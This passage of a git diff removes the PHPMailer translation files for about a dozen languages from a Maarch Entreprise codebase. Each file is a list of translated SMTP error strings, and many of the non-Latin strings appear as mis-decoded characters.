9b4ce4d8de252e3d95adcf17e9c0c37420edec3d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-gl.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Galician PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author by Donato Rouco <donatorouco@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'Erro SMTP: Non puido ser autentificado.'; -$PHPMAILER_LANG['connect_host'] = 'Erro SMTP: Non puido conectar co servidor SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Erro SMTP: Datos non aceptados.'; -$PHPMAILER_LANG['empty_message'] = 'Corpo da mensaxe vacÃa'; -$PHPMAILER_LANG['encoding'] = 'Codificación descoñecida: '; -$PHPMAILER_LANG['execute'] = 'Non puido ser executado: '; -$PHPMAILER_LANG['file_access'] = 'Nob puido acceder ó arquivo: '; -$PHPMAILER_LANG['file_open'] = 'Erro de Arquivo: No puido abrir o arquivo: '; -$PHPMAILER_LANG['from_failed'] = 'A(s) seguinte(s) dirección(s) de remitente(s) deron erro: '; -$PHPMAILER_LANG['instantiate'] = 'Non puido crear unha instancia da función Mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Non puido envia-lo correo: dirección de email inválida: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer non está soportado.'; -$PHPMAILER_LANG['provide_address'] = 'Debe engadir polo menos unha dirección de email coma destino.'; -$PHPMAILER_LANG['recipients_failed'] = 'Erro SMTP: Os seguintes destinos fallaron: '; -$PHPMAILER_LANG['signing'] = 'Erro ó firmar: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fallou.'; -$PHPMAILER_LANG['smtp_error'] = 'Erro do servidor SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Non puidemos axustar ou reaxustar a variábel: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-he.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-he.php deleted file mode 100755 index 70eb717578f1e4e1c0cbcee855e14b8a91f8f7ce..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-he.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Hebrew PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Ronny Sherer <ronny@hoojima.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'שגי×ת SMTP: פעולת ×”×ימות × ×›×©×œ×”.'; -$PHPMAILER_LANG['connect_host'] = 'שגי×ת SMTP: ×œ× ×”×¦×œ×—×ª×™ להתחבר לשרת SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'שגי×ת SMTP: מידע ×œ× ×”×ª×§×‘×œ.'; -$PHPMAILER_LANG['empty_message'] = 'גוף ההודעה ריק'; -$PHPMAILER_LANG['invalid_address'] = 'כתובת שגויה: '; -$PHPMAILER_LANG['encoding'] = 'קידוד ×œ× ×ž×•×›×¨: '; -$PHPMAILER_LANG['execute'] = '×œ× ×”×¦×œ×—×ª×™ להפעיל ×ת: '; -$PHPMAILER_LANG['file_access'] = '×œ× × ×™×ª×Ÿ לגשת לקובץ: '; -$PHPMAILER_LANG['file_open'] = 'שגי×ת קובץ: ×œ× × ×™×ª×Ÿ לגשת לקובץ: '; -$PHPMAILER_LANG['from_failed'] = 'כתובות ×”× ×ž×¢× ×™× ×”×‘×ות × ×›×©×œ×•: '; -$PHPMAILER_LANG['instantiate'] = '×œ× ×”×¦×œ×—×ª×™ להפעיל ×ת ×¤×•× ×§×¦×™×™×ª המייל.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' ××™× ×” × ×ª×ž×›×ª.'; -$PHPMAILER_LANG['provide_address'] = 'חובה לספק לפחות כתובת ×חת של מקבל המייל.'; -$PHPMAILER_LANG['recipients_failed'] = 'שגי×ת SMTP: ×”× ×ž×¢× ×™× ×”×‘××™× × ×›×©×œ×•: '; -$PHPMAILER_LANG['signing'] = 'שגי×ת חתימה: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; -$PHPMAILER_LANG['smtp_error'] = 'שגי×ת שרת SMTP: '; -$PHPMAILER_LANG['variable_set'] = '×œ× × ×™×ª×Ÿ לקבוע ×ו ×œ×©× ×•×ª ×ת ×”×ž×©×ª× ×”: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-hr.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-hr.php deleted file mode 100755 index 3822920adda1780df96dd7117f5ed4729aabe2e1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-hr.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Croatian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Hrvoj3e <hrvoj3e@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP GreÅ¡ka: Neuspjela autentikacija.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP GreÅ¡ka: Ne mogu se spojiti na SMTP poslužitelj.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP GreÅ¡ka: Podatci nisu prihvaćeni.'; -$PHPMAILER_LANG['empty_message'] = 'Sadržaj poruke je prazan.'; -$PHPMAILER_LANG['encoding'] = 'Nepoznati encoding: '; -$PHPMAILER_LANG['execute'] = 'Nije moguće izvrÅ¡iti naredbu: '; -$PHPMAILER_LANG['file_access'] = 'Nije moguće pristupiti datoteci: '; -$PHPMAILER_LANG['file_open'] = 'Nije moguće otvoriti datoteku: '; -$PHPMAILER_LANG['from_failed'] = 'SMTP GreÅ¡ka: Slanje s navedenih e-mail adresa nije uspjelo: '; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP GreÅ¡ka: Slanje na navedenih e-mail adresa nije uspjelo: '; -$PHPMAILER_LANG['instantiate'] = 'Ne mogu pokrenuti mail funkcionalnost.'; -$PHPMAILER_LANG['invalid_address'] = 'E-mail nije poslan. Neispravna e-mail adresa: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer nije podržan.'; -$PHPMAILER_LANG['provide_address'] = 'Definirajte barem jednu adresu primatelja.'; -$PHPMAILER_LANG['signing'] = 'GreÅ¡ka prilikom prijave: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Spajanje na SMTP poslužitelj nije uspjelo.'; -$PHPMAILER_LANG['smtp_error'] = 'GreÅ¡ka SMTP poslužitelja: '; -$PHPMAILER_LANG['variable_set'] = 'Ne mogu postaviti varijablu niti ju vratiti nazad: '; -$PHPMAILER_LANG['extension_missing'] = 'Nedostaje proÅ¡irenje: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-hu.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-hu.php deleted file mode 100755 index d7ca88870204f9e2a8a063e604bb55bffd3d81aa..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-hu.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Hungarian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author @dominicus-75 - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP hiba: az azonosÃtás sikertelen.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP hiba: nem lehet kapcsolódni az SMTP-szerverhez.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP hiba: adatok visszautasÃtva.'; -$PHPMAILER_LANG['empty_message'] = 'Ãœres az üzenettörzs.'; -$PHPMAILER_LANG['encoding'] = 'Ismeretlen kódolás: '; -$PHPMAILER_LANG['execute'] = 'Nem lehet végrehajtani: '; -$PHPMAILER_LANG['file_access'] = 'A következÅ‘ fájl nem elérhetÅ‘: '; -$PHPMAILER_LANG['file_open'] = 'Fájl hiba: a következÅ‘ fájlt nem lehet megnyitni: '; -$PHPMAILER_LANG['from_failed'] = 'A feladóként megadott következÅ‘ cÃm hibás: '; -$PHPMAILER_LANG['instantiate'] = 'A PHP mail() függvényt nem sikerült végrehajtani.'; -$PHPMAILER_LANG['invalid_address'] = 'Érvénytelen cÃm: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' a mailer-osztály nem támogatott.'; -$PHPMAILER_LANG['provide_address'] = 'Legalább egy cÃmzettet fel kell tüntetni.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP hiba: a cÃmzettként megadott következÅ‘ cÃmek hibásak: '; -$PHPMAILER_LANG['signing'] = 'Hibás aláÃrás: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Hiba az SMTP-kapcsolatban.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP-szerver hiba: '; -$PHPMAILER_LANG['variable_set'] = 'A következÅ‘ változók beállÃtása nem sikerült: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-id.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-id.php deleted file mode 100755 index e57b5240b6248647ff034e794b74286e624d5472..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-id.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Indonesian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Cecep Prawiro <cecep.prawiro@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'Kesalahan SMTP: Tidak dapat mengautentikasi.'; -$PHPMAILER_LANG['connect_host'] = 'Kesalahan SMTP: Tidak dapat terhubung ke host SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Kesalahan SMTP: Data tidak diterima peladen.'; -$PHPMAILER_LANG['empty_message'] = 'Isi pesan kosong'; -$PHPMAILER_LANG['encoding'] = 'Pengkodean karakter tidak dikenali: '; -$PHPMAILER_LANG['execute'] = 'Tidak dapat menjalankan proses : '; -$PHPMAILER_LANG['file_access'] = 'Tidak dapat mengakses berkas : '; -$PHPMAILER_LANG['file_open'] = 'Kesalahan File: Berkas tidak bisa dibuka : '; -$PHPMAILER_LANG['from_failed'] = 'Alamat pengirim berikut mengakibatkan error : '; -$PHPMAILER_LANG['instantiate'] = 'Tidak dapat menginisialisasi fungsi email'; -$PHPMAILER_LANG['invalid_address'] = 'Gagal terkirim, alamat email tidak valid : '; -$PHPMAILER_LANG['provide_address'] = 'Harus disediakan minimal satu alamat tujuan'; -$PHPMAILER_LANG['mailer_not_supported'] = 'Mailer tidak didukung'; -$PHPMAILER_LANG['recipients_failed'] = 'Kesalahan SMTP: Alamat tujuan berikut menghasilkan error : '; -$PHPMAILER_LANG['signing'] = 'Kesalahan dalam tanda tangan : '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() gagal.'; -$PHPMAILER_LANG['smtp_error'] = 'Kesalahan peladen SMTP : '; -$PHPMAILER_LANG['variable_set'] = 'Tidak berhasil mengatur atau mengatur ulang variable : '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-it.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-it.php deleted file mode 100755 index d2f4643e7150a142751debebfd3657ebbf242b97..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-it.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php -/** - * Italian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Ilias Bartolini <brain79@inwind.it> - * @author Stefano Sabatini <sabas88@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP Error: Impossibile autenticarsi.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Error: Impossibile connettersi all\'host SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Dati non accettati dal server.'; -$PHPMAILER_LANG['empty_message'] = 'Il corpo del messaggio è vuoto'; -$PHPMAILER_LANG['encoding'] = 'Codifica dei caratteri sconosciuta: '; -$PHPMAILER_LANG['execute'] = 'Impossibile eseguire l\'operazione: '; -$PHPMAILER_LANG['file_access'] = 'Impossibile accedere al file: '; -$PHPMAILER_LANG['file_open'] = 'File Error: Impossibile aprire il file: '; -$PHPMAILER_LANG['from_failed'] = 'I seguenti indirizzi mittenti hanno generato errore: '; -$PHPMAILER_LANG['instantiate'] = 'Impossibile istanziare la funzione mail'; -$PHPMAILER_LANG['invalid_address'] = 'Impossibile inviare, l\'indirizzo email non è valido: '; -$PHPMAILER_LANG['provide_address'] = 'Deve essere fornito almeno un indirizzo ricevente'; -$PHPMAILER_LANG['mailer_not_supported'] = 'Mailer non supportato'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: I seguenti indirizzi destinatari hanno generato un errore: '; -$PHPMAILER_LANG['signing'] = 'Errore nella firma: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fallita.'; -$PHPMAILER_LANG['smtp_error'] = 'Errore del server SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Impossibile impostare o resettare la variabile: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ja.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ja.php deleted file mode 100755 index 2d778728d7762206d01ff924fc6d24ccd4a5d7d4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ja.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php -/** - * Japanese PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Mitsuhiro Yoshida <http://mitstek.com/> - * @author Yoshi Sakai <http://bluemooninc.jp/> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTPエラー: èªè¨¼ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚'; -$PHPMAILER_LANG['connect_host'] = 'SMTPエラー: SMTPホストã«æŽ¥ç¶šã§ãã¾ã›ã‚“ã§ã—ãŸã€‚'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTPエラー: データãŒå—ã‘付ã‘られã¾ã›ã‚“ã§ã—ãŸã€‚'; -//$PHPMAILER_LANG['empty_message'] = 'Message body empty'; -$PHPMAILER_LANG['encoding'] = 'ä¸æ˜Žãªã‚¨ãƒ³ã‚³ãƒ¼ãƒ‡ã‚£ãƒ³ã‚°: '; -$PHPMAILER_LANG['execute'] = '実行ã§ãã¾ã›ã‚“ã§ã—ãŸ: '; -$PHPMAILER_LANG['file_access'] = 'ファイルã«ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã›ã‚“: '; -$PHPMAILER_LANG['file_open'] = 'ファイルエラー: ファイルを開ã‘ã¾ã›ã‚“: '; -$PHPMAILER_LANG['from_failed'] = 'Fromアドレスを登録ã™ã‚‹éš›ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ: '; -$PHPMAILER_LANG['instantiate'] = 'メール関数ãŒæ£å¸¸ã«å‹•ä½œã—ã¾ã›ã‚“ã§ã—ãŸã€‚'; -//$PHPMAILER_LANG['invalid_address'] = 'Invalid address: '; -$PHPMAILER_LANG['provide_address'] = 'å°‘ãªãã¨ã‚‚1ã¤ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã‚’ 指定ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚'; -$PHPMAILER_LANG['mailer_not_supported'] = ' メーラーãŒã‚µãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ã¾ã›ã‚“。'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTPエラー: 次ã®å—信者アドレス㫠間é•ã„ãŒã‚ã‚Šã¾ã™: '; -//$PHPMAILER_LANG['signing'] = 'Signing Error: '; -//$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; -//$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: '; -//$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ka.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ka.php deleted file mode 100755 index dd1af8abec5db96bc8e41a717dda506b14af61f7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ka.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Georgian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Avtandil Kikabidze aka LONGMAN <akalongman@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP შეცდáƒáƒ›áƒ: áƒáƒ•áƒ¢áƒáƒ იზáƒáƒªáƒ˜áƒ შეუძლებელიáƒ.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP შეცდáƒáƒ›áƒ: SMTP სერვერთáƒáƒœ დáƒáƒ™áƒáƒ•áƒ¨áƒ˜áƒ ებრშეუძლებელიáƒ.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP შეცდáƒáƒ›áƒ: მáƒáƒœáƒáƒªáƒ”მები áƒáƒ იქნრმიღებული.'; -$PHPMAILER_LANG['encoding'] = 'კáƒáƒ“ირების უცნáƒáƒ‘ი ტიპი: '; -$PHPMAILER_LANG['execute'] = 'შეუძლებელირშემდეგი ბრძáƒáƒœáƒ”ბის შესრულებáƒ: '; -$PHPMAILER_LANG['file_access'] = 'შეუძლებელირწვდáƒáƒ›áƒ ფáƒáƒ˜áƒšáƒ—áƒáƒœ: '; -$PHPMAILER_LANG['file_open'] = 'ფáƒáƒ˜áƒšáƒ£áƒ ი სისტემის შეცდáƒáƒ›áƒ: áƒáƒ იხსნებრფáƒáƒ˜áƒšáƒ˜: '; -$PHPMAILER_LANG['from_failed'] = 'გáƒáƒ›áƒ’ზáƒáƒ•áƒœáƒ˜áƒ¡ áƒáƒ áƒáƒ¡áƒ¬áƒáƒ ი მისáƒáƒ›áƒáƒ თი: '; -$PHPMAILER_LANG['instantiate'] = 'mail ფუნქციის გáƒáƒ¨áƒ•áƒ”ბრვერხერხდებáƒ.'; -$PHPMAILER_LANG['provide_address'] = 'გთხáƒáƒ•áƒ— მიუთითáƒáƒ— ერთი áƒáƒ“რესáƒáƒ¢áƒ˜áƒ¡ e-mail მისáƒáƒ›áƒáƒ თი მáƒáƒ˜áƒœáƒª.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' - სáƒáƒ¤áƒáƒ¡áƒ¢áƒ სერვერის მხáƒáƒ დáƒáƒáƒ”რრáƒáƒ áƒáƒ ის.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP შეცდáƒáƒ›áƒ: შემდეგ მისáƒáƒ›áƒáƒ თებზე გáƒáƒ’ზáƒáƒ•áƒœáƒ ვერმáƒáƒ®áƒ”რხდáƒ: '; -$PHPMAILER_LANG['empty_message'] = 'შეტყáƒáƒ‘ინებრცáƒáƒ იელიáƒ'; -$PHPMAILER_LANG['invalid_address'] = 'áƒáƒ გáƒáƒ˜áƒ’ზáƒáƒ•áƒœáƒ, e-mail მისáƒáƒ›áƒáƒ თის áƒáƒ áƒáƒ¡áƒ¬áƒáƒ ი ფáƒáƒ მáƒáƒ¢áƒ˜: '; -$PHPMAILER_LANG['signing'] = 'ხელმáƒáƒ¬áƒ”რის შეცდáƒáƒ›áƒ: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'შეცდáƒáƒ›áƒ SMTP სერვერთáƒáƒœ დáƒáƒ™áƒáƒ•áƒ¨áƒ˜áƒ ებისáƒáƒ¡'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP სერვერის შეცდáƒáƒ›áƒ: '; -$PHPMAILER_LANG['variable_set'] = 'შეუძლებელირშემდეგი ცვლáƒáƒ“ის შექმნრáƒáƒœ შეცვლáƒ: '; -$PHPMAILER_LANG['extension_missing'] = 'ბიბლიáƒáƒ—ეკრáƒáƒ áƒáƒ სებáƒáƒ‘ს: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ko.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ko.php deleted file mode 100755 index 9599fa6819200c3f0beb73d687259f339597620d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ko.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Korean PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author ChalkPE <amato0617@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP 오류: ì¸ì¦í• 수 없습니다.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP 오류: SMTP í˜¸ìŠ¤íŠ¸ì— ì ‘ì†í• 수 없습니다.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP 오류: ë°ì´í„°ê°€ 받아들여지지 않았습니다.'; -$PHPMAILER_LANG['empty_message'] = '메세지 ë‚´ìš©ì´ ì—†ìŠµë‹ˆë‹¤'; -$PHPMAILER_LANG['encoding'] = 'ì•Œ 수 없는 ì¸ì½”딩: '; -$PHPMAILER_LANG['execute'] = '실행 불가: '; -$PHPMAILER_LANG['file_access'] = 'íŒŒì¼ ì ‘ê·¼ 불가: '; -$PHPMAILER_LANG['file_open'] = 'íŒŒì¼ ì˜¤ë¥˜: 파ì¼ì„ ì—´ 수 없습니다: '; -$PHPMAILER_LANG['from_failed'] = 'ë‹¤ìŒ From 주소ì—ì„œ 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤: '; -$PHPMAILER_LANG['instantiate'] = 'mail 함수를 ì¸ìŠ¤í„´ìŠ¤í™”í• ìˆ˜ 없습니다'; -$PHPMAILER_LANG['invalid_address'] = 'ìž˜ëª»ëœ ì£¼ì†Œ: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' ë©”ì¼ëŸ¬ëŠ” 지ì›ë˜ì§€ 않습니다.'; -$PHPMAILER_LANG['provide_address'] = 'ì ì–´ë„ í•œ ê°œ ì´ìƒì˜ ìˆ˜ì‹ ìž ë©”ì¼ ì£¼ì†Œë¥¼ ì œê³µí•´ì•¼ 합니다.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP 오류: ë‹¤ìŒ ìˆ˜ì‹ ìžì—ì„œ 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤: '; -$PHPMAILER_LANG['signing'] = '서명 오류: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP ì—°ê²°ì„ ì‹¤íŒ¨í•˜ì˜€ìŠµë‹ˆë‹¤.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP 서버 오류: '; -$PHPMAILER_LANG['variable_set'] = '변수 ì„¤ì • ë° ì´ˆê¸°í™” 불가: '; -$PHPMAILER_LANG['extension_missing'] = 'í™•ìž¥ìž ì—†ìŒ: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-lt.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-lt.php deleted file mode 100755 index 1253a4fdb491710eeb633875a697e8ebf99c5f14..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-lt.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Lithuanian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Dainius Kaupaitis <dk@sum.lt> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP klaida: autentifikacija nepavyko.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP klaida: nepavyksta prisijungti prie SMTP stoties.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP klaida: duomenys nepriimti.'; -$PHPMAILER_LANG['empty_message'] = 'LaiÅ¡ko turinys tuÅ¡Äias'; -$PHPMAILER_LANG['encoding'] = 'Neatpažinta koduotÄ—: '; -$PHPMAILER_LANG['execute'] = 'Nepavyko įvykdyti komandos: '; -$PHPMAILER_LANG['file_access'] = 'Byla nepasiekiama: '; -$PHPMAILER_LANG['file_open'] = 'Bylos klaida: Nepavyksta atidaryti: '; -$PHPMAILER_LANG['from_failed'] = 'Neteisingas siuntÄ—jo adresas: '; -$PHPMAILER_LANG['instantiate'] = 'Nepavyko paleisti mail funkcijos.'; -$PHPMAILER_LANG['invalid_address'] = 'Neteisingas adresas: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' paÅ¡to stotis nepalaikoma.'; -$PHPMAILER_LANG['provide_address'] = 'Nurodykite bent vienÄ… gavÄ—jo adresÄ….'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP klaida: nepavyko iÅ¡siųsti Å¡iems gavÄ—jams: '; -$PHPMAILER_LANG['signing'] = 'Prisijungimo klaida: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP susijungimo klaida'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP stoties klaida: '; -$PHPMAILER_LANG['variable_set'] = 'Nepavyko priskirti reikÅ¡mÄ—s kintamajam: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-lv.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-lv.php deleted file mode 100755 index 39bf9a19e22db30904ec98e8df0909e768799b9a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-lv.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Latvian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Eduards M. <e@npd.lv> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP kļūda: AutorizÄcija neizdevÄs.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Kļūda: Nevar izveidot savienojumu ar SMTP serveri.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Kļūda: Nepieņem informÄciju.'; -$PHPMAILER_LANG['empty_message'] = 'Ziņojuma teksts ir tukÅ¡s'; -$PHPMAILER_LANG['encoding'] = 'NeatpazÄ«ts kodÄ“jums: '; -$PHPMAILER_LANG['execute'] = 'NeizdevÄs izpildÄ«t komandu: '; -$PHPMAILER_LANG['file_access'] = 'Fails nav pieejams: '; -$PHPMAILER_LANG['file_open'] = 'Faila kļūda: Nevar atvÄ“rt failu: '; -$PHPMAILER_LANG['from_failed'] = 'Nepareiza sÅ«tÄ«tÄja adrese: '; -$PHPMAILER_LANG['instantiate'] = 'Nevar palaist sÅ«tÄ«Å¡anas funkciju.'; -$PHPMAILER_LANG['invalid_address'] = 'Nepareiza adrese: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' sÅ«tÄ«tÄjs netiek atbalstÄ«ts.'; -$PHPMAILER_LANG['provide_address'] = 'LÅ«dzu, norÄdiet vismaz vienu adresÄtu.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP kļūda: neizdevÄs nosÅ«tÄ«t Å¡Ädiem saņēmÄ“jiem: '; -$PHPMAILER_LANG['signing'] = 'AutorizÄcijas kļūda: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP savienojuma kļūda'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP servera kļūda: '; -$PHPMAILER_LANG['variable_set'] = 'Nevar pieÅ¡Ä·irt mainÄ«gÄ vÄ“rtÄ«bu: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ms.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ms.php deleted file mode 100755 index 4e2c34083a99bfd768fc1008fb5cf9981ed27d97..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ms.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Malaysian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Nawawi Jamili <nawawi@rutweb.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'Ralat SMTP: Tidak dapat pengesahan.'; -$PHPMAILER_LANG['connect_host'] = 'Ralat SMTP: Tidak dapat menghubungi hos pelayan SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Ralat SMTP: Data tidak diterima oleh pelayan.'; -$PHPMAILER_LANG['empty_message'] = 'Tiada isi untuk mesej'; -$PHPMAILER_LANG['encoding'] = 'Pengekodan tidak diketahui: '; -$PHPMAILER_LANG['execute'] = 'Tidak dapat melaksanakan: '; -$PHPMAILER_LANG['file_access'] = 'Tidak dapat mengakses fail: '; -$PHPMAILER_LANG['file_open'] = 'Ralat Fail: Tidak dapat membuka fail: '; -$PHPMAILER_LANG['from_failed'] = 'Berikut merupakan ralat dari alamat e-mel: '; -$PHPMAILER_LANG['instantiate'] = 'Tidak dapat memberi contoh fungsi e-mel.'; -$PHPMAILER_LANG['invalid_address'] = 'Alamat emel tidak sah: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' jenis penghantar emel tidak disokong.'; -$PHPMAILER_LANG['provide_address'] = 'Anda perlu menyediakan sekurang-kurangnya satu alamat e-mel penerima.'; -$PHPMAILER_LANG['recipients_failed'] = 'Ralat SMTP: Penerima e-mel berikut telah gagal: '; -$PHPMAILER_LANG['signing'] = 'Ralat pada tanda tangan: '; 